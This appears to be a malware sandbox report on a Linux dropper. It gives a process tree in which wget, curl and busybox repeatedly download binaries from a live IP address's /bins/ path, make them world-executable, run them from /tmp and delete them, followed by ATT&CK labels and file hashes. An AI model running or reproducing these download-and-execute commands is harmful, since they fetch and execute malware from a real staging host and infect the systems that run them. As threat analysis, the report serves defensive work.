/usr/bin/curlcurl -O http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- Writes file to tmp directory
PID:1638
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:1639
-
-
/bin/chmodchmod 777 WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- File and Directory Permissions Modification
PID:1640
-
-
/tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq./WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- Executes dropped EXE
PID:1641
-
-
/bin/rmrm WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:1642
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:1643
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- Writes file to tmp directory
PID:1644
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:1645
-
-
/bin/chmodchmod 777 bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- File and Directory Permissions Modification
PID:1646
-
-
/tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN./bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- Executes dropped EXE
PID:1647
-
-
/bin/rmrm bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:1648
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:1649
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- Writes file to tmp directory
PID:1650
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:1651
-
-
/bin/chmodchmod 777 yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- File and Directory Permissions Modification
PID:1652
-
-
/tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc./yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- Executes dropped EXE
PID:1653
-
-
/bin/rmrm yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:1654
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:1655
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- Writes file to tmp directory
PID:1656
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:1657
-
-
/bin/chmodchmod 777 SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- File and Directory Permissions Modification
PID:1658
-
-
/tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX./SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- Executes dropped EXE
PID:1659
-
-
/bin/rmrm SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:1660
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:1661
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- Writes file to tmp directory
PID:1662
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:1663
-
-
/bin/chmodchmod 777 ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- File and Directory Permissions Modification
PID:1664
-
-
/tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5./ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- Executes dropped EXE
PID:1665
-
-
/bin/rmrm ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:1666
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:1667
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- Writes file to tmp directory
PID:1668
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:1669
-
-
/bin/chmodchmod 777 ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- File and Directory Permissions Modification
PID:1670
-
-
/tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm./ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- Executes dropped EXE
PID:1671
-
-
/bin/rmrm ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:1672
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97